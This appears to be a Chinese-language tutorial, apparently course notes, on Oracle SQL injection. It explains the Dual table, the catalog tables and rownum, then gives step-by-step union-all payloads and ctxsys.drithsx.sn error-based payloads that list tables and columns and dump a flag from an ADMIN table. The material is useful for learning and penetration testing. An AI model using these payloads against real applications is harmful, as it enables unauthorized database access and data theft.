- 每日一句:没有学不会的东西,只有不努力的man
- 本篇内容:注入函数解析
报错注入+联合查询(union all)
实战注意
一、注入函数解析
1.提示:
Oracle注入比较麻烦,有点小难要有心理准备,原因是Oracle数据库本身比较复杂
2.报错注入原理
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。
3.Oracle中的一个表 --Dual
本质:
为了满足语句格式而诞生的一个临时表 (有人说是实表,有人说是虚表,无所谓)
用法:
在mysql中可能可以直接这么写
select 1,2,3;
select user(); //查询当前用户
但Oracle语法结构严谨,这么写:
select 1,2,3 from Dual;
select user from Dual;
除此之外,还可以这么用:
select dbms_random.random from dual //获取随机值
select 22+33 from dual //计算加减法
。。。。。。
有很多小功能,有兴趣的同学可以自行探索
4.查询系统自带表
select * from all_tables //查询出所有的字段
select * from user_tables //查询出当前用户的字段
提示:Oracle数据库弱化了库的概念,主要以用户名作为区分
select * from all_tab_columns //查询出所有的字段
select * from user_tab_columns //查询当前用户所有的字段
5.补充
(1)所有数据库基本都区分大小写(引号内的内容),
但是字段名一般不区分,比如FROM==from
(2)limit 字段是mysql特有的,Oracle数据库有类似的rownum,但是又区别
例如:
select * from user_tab_columns where tabIE_name=‘ADMIN’ and rownum<=1
//输出1条数据 ; 当输出的是1条时,可以不写"<"
select * from user_tab_columns where tabIE_name=‘ADMIN’ and rownum<=3
//输出3条数据
(3)屏蔽某个字段
select * from user_tab_columns where tabIE_name=‘ADMIN’ and rownum=1
and COLUMN_NAME <> ‘ID’
//输出admin表中除了id字段所有内容
select * from user_tab_columns where tabIE_name=‘ADMIN’ and rownum=1
and COLUMN_NAME <> ‘ID’ and COLUMN_NAME <> ‘USER_NAME’
//输出admin表中除了id,user_name字段的所有内容
二、报错注入+联合(union all)
1.判断注入点
url id=1 ’ – qwe
2.判断字段数
url id=1 ’ order by 3 – qwe
3.判断输出点
url id=1 ’ union all select null,null,null from dual --qwe
4.查询系统自带表
url’ union all select 1,null,to_nclob(TABLE_NAME) from user_tables --qwe
//to_nclob()函数的作用:将值转换为 NCLOB 数据类型。这是偶然现象
5.得到字段
url’ union all select 1,null,to_nclob(COLUMN_NAME) from user_tab_columns where TABLE_NAME=‘ADMIN’ – qwe
//查询ADMIN内的字段,可以在最后增加限制:AND rownum=1 and COLUMN_NAME<>‘ID’等等
6.查询内容
url’ union all select 1,null,to_nclob(FLAG_FLAG) from ADMIN --qwe
7.补充,查询当前用户
url’ union all select 1,null,to_nclob(user) from DUAL --qwe
三、实战注意
1.报错函数(类似updatexml()的用法)
用法:
and 1=ctxsys.drithsx.sn(1,(select TABLE_NAME from user_tables where rownum=1))-- qwe
//查询当前用户有什么表,这就是固定用法,这个函数我在网上也没找到太多的内容。
//报错注入,一次不能显示太多的数据
and 1=ctxsys.drithsx.sn(1,(select TABLE_NAME from user_tables where rownum=1 and table_name <> ‘ADMIN’))-- qwe
//用了报错注入就不用纠结类型了,但是就是输出单行了
2.union all的用法
基本除了MySQL其他的数据库的联合查询都需要这么写。不然会报错
但是,mysql也是可以这么用的,MySQL用了加上all,会将重复的数据也显出
3.oracle的注释
--这是单行注释
/*
这是多行注释
*/
四、总结
- 理解报错注入的原理
- 熟练掌握报错注入经常用到的函数